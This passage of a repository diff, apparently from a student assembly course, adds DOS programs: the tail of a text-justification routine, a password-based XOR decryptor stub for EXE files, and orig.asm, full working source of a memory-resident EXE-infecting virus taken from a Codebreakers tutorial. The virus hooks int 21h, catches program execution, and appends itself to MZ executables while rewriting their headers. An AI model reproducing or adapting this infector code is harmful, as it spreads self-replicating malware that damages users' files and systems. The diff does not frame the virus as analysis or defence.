+        mov toins, ax           ; new ax - holds space count in each gap, and 
+                                ; dx - remainder of division
+
+just_copy:                      ; Prepare of our main loop of creation of output string
+        mov si, real_ofs        ; Source - input string
+        mov di, offset to       ; Destination - memory to hold output string
+        
+main_loop:                      ; Here comes the main loop
+        cmp di, [max_len]
+        jl $+4
+        jmp wr_out
+
+        mov al, [si]            ; get character
+        test al, al             ; if we're reached end of string
+        jz wr_out               ; goto write output
+
+        cmp al, ' '             ; if we got space - 
+        jz space                ; work with this gap
+
+        movsb                   ; else just copy character from input to output
+        jmp main_loop           ; continue loop
+
+space:                          ; if we've got space - skip all following in input 
+                                ; and add needed space count in gap in output
+        xor cx, cx
+        not cx
+        xchg si, di             ; scas works with di - so we need to put si there
+        repz scasb              ; al - hold ' ' (by that reason we are here)
+        dec di                  ; so we've skipped all following spaces in input
+
+        xchg di, si             ; return poiners at their normal state 
+
+        mov cx, toins           ; put needed space count in output string
+        rep stosb               ; in al we're still got ' '
+
+        test dx, dx             ; if our remainder are zero
+        jz main_loop            ; - continue loop
+        stosb                   ; else - put one more space in current gap
+        dec dx                  ; and decrease remainder
+        jmp main_loop           ; and of course continue our loop
+        
+wr_out:                         ; Now we're reached final touches to our prog 
+        mov byte ptr [di], 0
+        xor ax, ax              ; We're going to search for tailing null char
+                                ; (we could skip this line because the only way to get here
+                                ;  is only from testing al to zero, so it DEFINITLY zero)
+        mov di, offset to       ; point to output string
+        xor cx, cx              ; Search for FFFF chars
+        not cx                  ;
+        repnz scasb             ; Search tailing zero
+        dec di                  ; And put
+        mov al, '$'             ; '$'
+        stosb                   ; instead of it
+
+        mov ah, 9               ; Use DOS's help
+        mov dx, offset to       ; to write output 
+        int 21h                 ; to user's eyes
+        mov dx, offset newline 
+        int 21h                 
+outta:        
+        test bp, bp
+        jz norm_out
+        jmp line_loop; output is OK!
+bad_len:
+        jmp short norm_out
+no_string:
+        mov ah, 09h
+        mov dx, offset newline
+        int 21h
+        jmp short outta
+no_file:
+        mov ah, 09h
+        mov dx, offset no_file_str
+        int 21h
+        jmp norm_out
+err_read:
+        mov ah, 09h
+        mov dx, offset err_read_str
+        int 21h
+        jmp norm_out
+
+norm_out:
+        mov ah, 4ch
+        int 21h
+        db 0EFFFh dup (?)
+ends
+dseg segment para public 'DATA'
+fname   db '2.txt',0
+toins   dw 0
+divis   dw 0
+wordcnt dw 0
+need_len dw 100
+real_ofs dw 0
+max_len dw 0
+newline db 0dh, 0ah, '$'
+        db 0EFFFh dup (?)
+no_file_str db 'Couldn''t open file 2.txt$'
+err_read_str db 'Error while reading 2.txt$'
+        dw 0    ; front border of string
+from    db 200 dup (?)
+to      db 100 dup (?)
+ends
+sseg segment stack
+ db 200 dup (?)
+ends
+end start

+ 289 - 0
ASM/!SPBSTU/4sem/Kursovik/2/interc.asm

@@ -0,0 +1,289 @@
+jumps
+.286
+.model small
+.code
+org 100h
+start:  sub sp, 4
+        pusha
+        push ds
+        push es
+        call $+13
+        rIP1    dw offset pass_error
+        rCS1    dw 0
+        rIP2    dw 100h
+        rCS2    dw 0
+        rlcCnt  dw 0
+        pop si
+
+        push cs
+        pop ax
+
+        mov ds, ax
+        mov es, ax
+        mov di, ax 
+
+        sub di, word ptr cs:[si+6]
+;        mov word ptr cs:[si+6], di
+        add di, word ptr cs:[si+2]
+        mov ax, word ptr cs:[si]
+        lea bp, cs:[si-9]
+
+        mov ds:[bp+offset rpCS-100h], di
+        mov ds:[bp+offset rpIP-100h], ax
+
+        mov ah, 09h
+        lea dx, ds:[bp+offset enter_pass-100h]
+        int 21h
+
+        ; Read password from stdin
+        ;-------------------------------
+        lea di, ds:[bp+offset pass-100h]
+        mov cx, 20
+chrloop:mov ah, 08h
+        int 21h
+        cmp al, 0Dh
+        jz pass_end
+        stosb
+        mov ah, 02h
+        mov dl, '*'
+        int 21h
+        dec cx
+        jnz chrloop
+pass_end:
+        mov ah, 09h
+        lea dx, ds:[bp+offset newline-100h]
+        int 21h
+        sub cx, 20
+        neg cx
+        mov ds:[bp+offset pass_len-100h], cx
+        test cx, cx
+        jz pass_error
+        ;-----------------------------------
+        ; Done
+
+        ;Decode test string (to check password validity) and relocation table
+        ;--------------------------------------------------------------------
+        lea di, ds:[bp+offset test_pass-100h]
+        mov cx, 9
+        call decode
+        ;----------
+        ;Done
+
+        ;Check password validity
+        ;------------------------------------
+        lea di, ds:[bp+offset test_pass-100h]
+        mov cx, 10
+        xor ax, ax
+        xor bx, bx
+loop_check:
+        mov bl, [di]
+        add al, bl
+        inc di
+        loop loop_check
+
+        test al, al
+        jnz pass_error
+        ;-------------
+        ; Password OK!
+
+        ; Decode reloc table
+        lea di, ds:[bp+offset reloc-100h]
+        mov cx, ds:[si+8]
+
+bg_reloc_loop:
+        cmp cx, 100
+        jb lst_reloc
+
+        push cx
+        mov cx, 399
+        push di
+        call decode
+        pop di
+        call submagic
+
+        call alignESDI
+        pop cx
+        sub cx, 100
+        jmp bg_reloc_loop
+lst_reloc:
+        shl cx, 2
+        dec cx
+        push di
+        call decode
+        pop di
+        call submagic
+
+        push cs
+        pop es
+
+        ;Start decoding program
+        ;----------------------
+        mov cx, cs:[si+6]       ; First, we need to calculate size of coded prog
+        mov ax, cs:[si+4]
+        mov bx, cx
+        shr cx, 12
+        and bx, 0FFFh
+        shl bx, 4
+        add bx, ax
+        adc cx, 0               ; In cx:bx we got host size
+
+        push cs
+        pop ax
+        sub ax, word ptr cs:[si+6]
+        mov cs:[si+6], ax
+        mov es, ax                      
+        xor di, di              ; In es:di we've got offset to prog begin
+
+        ;First - decode full segments (0xFFFF length)
+seg_loop:
+        test cx, cx
+        jz resudary_part
+        push cx
+        xor cx, cx
+        not cx
+        call decode
+        call submagic
+
+        mov ax, es      
+        add ax, 1000h
+        mov es, ax
+        pop cx
+        dec cx
+        jmp seg_loop
+resudary_part:
+        mov cx, bx
+        dec cx
+        call decode
+        xor di, di
+        call submagic
+
+        ; Substitite relocation table
+        ;----------------------------
+        push cs
+        pop es
+        mov cx, ds:[si+8]       ; Relo item count
+        mov bx, ds:[si+6]
+        lea di, ds:[bp+offset reloc-100h]
+relowork:
+        call alignESDI
+        mov si, es:[di]
+        mov ax, es:[di+2]
+        add ax, bx
+        mov ds, ax
+        add word ptr ds:[si], bx
+        add di, 4        
+        loop relowork
+
+        
+        ;Normal return to parent proc
+        ;----------------------------
+        push ss
+        pop es
+        push sp
+        pop di
+        mov ax, cs:[bp+offset rpIP-100h]
+        mov es:[di+14h], ax
+        mov ax, cs:[bp+offset rpCS-100h]
+        mov es:[di+16h], ax
+        pop es
+        pop ds
+        popa
+        retf
+        ;-----------------------------
+        ; Done!
+;---------------------------------
+pass_error:
+        mov ah, 09h
+        lea dx, ds:[bp+offset bad_pass-100h]
+        int 21h
+        mov ax, 4CFFh
+        int 21h                        
+;------------------
+; es:di - what to decode
+; cx - length
+decode proc near 
+        push si
+        push ax
+        push cx
+loops2: lea si, ds:[bp+offset pass-100h]
+        cmp cx, ds:[bp+offset pass_len-100h]
+        jb lasts2
+        push cx
+        mov cx, ds:[bp+offset pass_len-100h]
+addmag2: mov al, ds:[si]
+        xor es:[di], al
+        inc si
+        inc di
+        loop addmag2
+        pop cx
+        sub cx, ds:[bp+offset pass_len-100h]
+        jmp loops2
+
+lasts2: inc cx
+lasts3: mov al, ds:[si]
+        xor es:[di], al
+        inc si
+        inc di
+        loop lasts3
+
+        pop cx
+        pop ax
+        pop si
+        ret
+endp
+
+submagic proc near 
+        push si
+        push ax
+        push cx
+loops:  lea si, ds:[bp+offset test_pass-100h]
+        cmp cx, 10
+        jb lasts
+        push cx
+        mov cx, 10
+addmag: mov al, ds:[si]
+        sub es:[di], al
+        inc si
+        inc di
+        loop addmag
+        pop cx
+        sub cx, 10
+        jmp loops
+
+lasts:  inc cx
+lasts0: mov al, ds:[si]
+        sub es:[di], al
+        inc si
+        inc di
+        loop lasts0
+
+        pop cx
+        pop ax
+        pop si
+        ret
+endp
+;------------------
+alignESDI proc near
+        push ax
+        push cx
+        mov ax, di
+        shr ax, 4
+        mov cx, es
+        add ax, cx
+        mov es, ax
+        and di, 0Fh
+        pop cx
+        pop ax
+        ret
+endp
+;----------------------
+rpIP    dw 0
+rpCS    dw 0
+newline db 0dh, 0ah, '$'
+enter_pass db 'Please enter pass: $'
+bad_pass db 'Sorry, you''ve entred a bad password',0Dh,0Ah,'$'
+pass    db 20 dup (0)
+pass_len dw 0
+test_pass db 10, 12, 15, 17, -20, -13, 05, -30, 55, -51
+reloc   dd ?
+end start

+ 254 - 0
ASM/!SPBSTU/4sem/Kursovik/2/orig.asm

@@ -0,0 +1,254 @@
+.286
+virus segment
+  assume cs:virus, ds:virus, es:virus
+ 
+ jumps
+ org 0CBh
+ 
+start:
+ 
+  call delta                        ;Calculate delta offset
+delta:
+  pop bp
+  sub bp,offset delta
+ 
+  push ds                           ;save PSP address
+ 
+  push cs cs
+  pop ds es
+ 
+  mov ax,0CBCBh                     ;our "Codebreaker" residency check
+  int 21h                           ;>what is CB?
+  cmp bx,0C001h                     ;>C001!! :o)
+  je restore                        ;its already resident
+ 
+  pop ds                            
+  push ds                           ;PSP address back into DS
+  ;--------------------------------------------------
+  mov ax,ds                                 ;MCB residency
+  dec ax                                    ;For further clarification
+  mov ds,ax                                 ;read Codebreaker Tutorial 3
+ 
+  sub word ptr ds:[3],40h
+  sub word ptr ds:[12h],40h
+ 
+  xor ax,ax
+  mov ds,ax
+ 
+  dec word ptr ds:[413h]
+ 
+  mov ax,word ptr ds:[413h]
+  shl ax,6
+ 
+  mov es,ax
+ 
+  push cs
+  pop ds
+ 
+  lea si,[bp+start]
+  xor di,di
+  mov cx,the_end - start
+  rep movsb
+  ;--------------------------------------------------
+  xor ax,ax                                 ;Setting of interrupts
+  mov ds,ax                                 ;For further clarification
+                                            ;read Codebreaker Tutorial 3
+  mov ax,es                                 
+  mov bx,new_int21h-start
+  cli
+  xchg bx,word ptr ds:[21h*4]
+  xchg ax,word ptr ds:[21h*4+2]
+  mov word ptr es:[old_int21h-start],bx
+  mov word ptr es:[old_int21h+2-start],ax
+  sti
+  ;--------------------------------------------------
+  push cs cs
+  pop ds es
+ 
+  mov ah,9                                  ;Warns the poor shmuck
+  lea dx,[bp+message]
+  int 21h
+ 
+restore:                                    ;Control handed back
+ 
+  lea si,[bp+old_ip]                        ;Restore orig IP
+  lea di,[bp+original_ip]
+  mov cx,4
+  rep movsw
+ 
+; Now for a clarification of the next four lines. At the beginning of
+; the virus DS contains the address of the PSP. We now restore the
+; address from the stack, place the address in ES.  Then add 10h to
+; skip over the PSP.  Skip over the PSP(100h) with 10h? Sounds a little
+; fishy, right?  Well, remember that when you add 10h to AX, you are
+; adding 10h segments. Each segment is 10h bytes, so 10h*10h=100h (PSP)
+ 
+  pop ds
+  mov ax,ds
+  mov es,ax
+  add ax,10h
+ 
+  add word ptr cs:[bp+original_cs],ax       ;Orig CS
+  cli
+  add ax,word ptr cs:[bp+original_ss]       ;Orig SS
+  mov ss,ax
+  mov sp,word ptr cs:[bp+original_sp]       ;Orig SP
+  sti
+ 
+ db 0eah                                    ;jump to to it
+ original_ip dw ?                           ;
+ original_cs dw ?
+ original_ss dw ?
+ original_sp dw ?
+ 
+ 
+ new_int21h:                                ;our int 21h handler
+  pushf                                     ;push the flags
+  cmp ax,0CBCBh                             ;residency check
+  jne no_install_check
+  mov bx,0C001h                             ;already resident
+  popf                                      ;restore all flags
+  iret                                      ;return
+ no_install_check:
+  cmp ah,4bh                                ;check if execute
+  je infect
+ return:
+  popf                                      ;restore all flags
+ db 0eah                                    ;jmp to orig int 21h
+ old_int21h dd ?
+ 
+ infect:
+  pusha                                     ;only 286, saves all gen reg
+  push ds
+  push es
+ 
+  call tsr_delta
+ tsr_delta:
+  pop bp                                    ;a tsr delta offset %-)
+  sub bp,offset tsr_delta
+ 
+  mov ax,3d02h                              ;open file in DS:DX
+  int 21h
+  jc exit
+ 
+  xchg ax,bx                                ;file handle to bx
+ 
+  push cs cs
+  pop ds es
+ 
+  mov ah,3fh                                ;Read the target header
+  lea dx,[bp+header]                        ;into our buffer
+ 
+  mov cx,1ch
+  int 21h
+ 
+  cmp word ptr cs:[bp+header],'ZM'          ;check if its an EXE
+  je ok
+  cmp word ptr cs:[bp+header],'MZ'
+  je ok
+  jmp close
+ 
+ ok:
+  cmp word ptr cs:[bp+header+12h],'BC'      ;Checksum value checked for
+  je close                                  ;previous infection
+ 
+  mov word ptr cs:[bp+header+12h],'BC'      ;Mark it as infected
+ 
+  mov ax,word ptr cs:[bp+header+14h]        ;Save orig ExeIP
+  mov word ptr cs:[bp+old_ip],ax            ;Store in our buffer
+  mov ax,word ptr cs:[bp+header+16h]        ;Save orig ReloCS
+  mov word ptr cs:[bp+old_cs],ax            
+  mov ax,word ptr cs:[bp+header+0eh]        ;Save orig ReloSS
+  mov word ptr cs:[bp+old_ss],ax
+  mov ax,word ptr cs:[bp+header+10h]        ;Save orig ExeSP
+  mov word ptr cs:[bp+old_sp],ax
+ 
+  mov ax,4202h                              ;Set pointer to end of file
+  xor cx,cx
+  xor dx,dx
+  int 21h
+ 
+  push ax dx                                ;Save EOF results
+ 
+                                            ;Calculate new CS:IP, we set
+                                            ;it to the EOF (this is where
+                                            ;we will attach our virus)
+ 
+  mov cx,16                                 ;Convert filesize into 16 byte
+  div cx                                    ;paragraphs
+ 
+  sub ax,word ptr cs:[bp+header+8]          ;Substract Header size from
+                                            ;filesize to get the image
+                                            ;(code/data) size.
+ 
+                                            ;save:
+  mov word ptr cs:[bp+header+14h],dx        ;New ExeIP
+  mov word ptr cs:[bp+header+16h],ax        ;New ReloCS
+ 
+  pop dx ax                                 ;restore saved filesize
+ 
+  add ax,the_end - start                    ;Add virus size to file size
+  adc dx,0                                  ;Adds carry to DX
+ 
+  mov cx,512                                ;Calculate amount of pages
+  div cx
+ 
+  cmp dx,0
+  je no_remainder
+  inc ax                                    ;if remainder, add 1
+ no_remainder:
+ 
+  mov word ptr cs:[bp+header+4],ax          ;New PageCnt
+  mov word ptr cs:[bp+header+2],dx          ;New PartPag
+ 
+  mov ah,40h                                ;write the virus to the EOF
+  lea dx,[bp+start]
+  mov cx,the_end - start
+  int 21h
+ 
+  mov ax,4200h                              ;Send pointer to beginning
+  xor cx,cx
+  xor dx,dx
+  int 21h
+ 
+  mov ah,40h                                ;Write the new header
+  lea dx,[bp+header]
+  mov cx,1ch
+  int 21h
+ 
+mov al,7
+int 29h                                     ; just a BEEEEEPPP
+ 
+ close:
+  mov ah,3eh                                ;close file
+  int 21h
+ 
+ exit:
+  pop es
+  pop ds
+  popa
+  jmp return
+ 
+ 
+ old_ip dw offset exit_prog
+ old_cs dw 0
+ old_ss dw 0
+ old_sp dw 0fffeh
+ 
+ header db 1ch dup(?)                       ;Buffer for header
+ 
+ message db 10,13,10,13
+ db '- SPo0ky''s EXAMPLE TSR EXE infector for Horny Toad''s ''Guide To EXE Infection'' -',10,13
+ db '- has been installed in your computers memory and will from now on infect any -',10,13
+ db '- EXE file that you execute.                                                  -',10,13
+ db '- You can use TBCLEAN (www.thunderbyte.com) to clean this virus.              -',10,13,10,13
+ db '                           - www.codebreakers.org -',10,13,'$'
+ 
+ the_end:
+ 
+ exit_prog:
+  mov ax,4c00h                              ;Request terminate program
+  int 21h
+ 
+virus ends
+end start

Некоторые файлы не были показаны из-за большого количества измененных файлов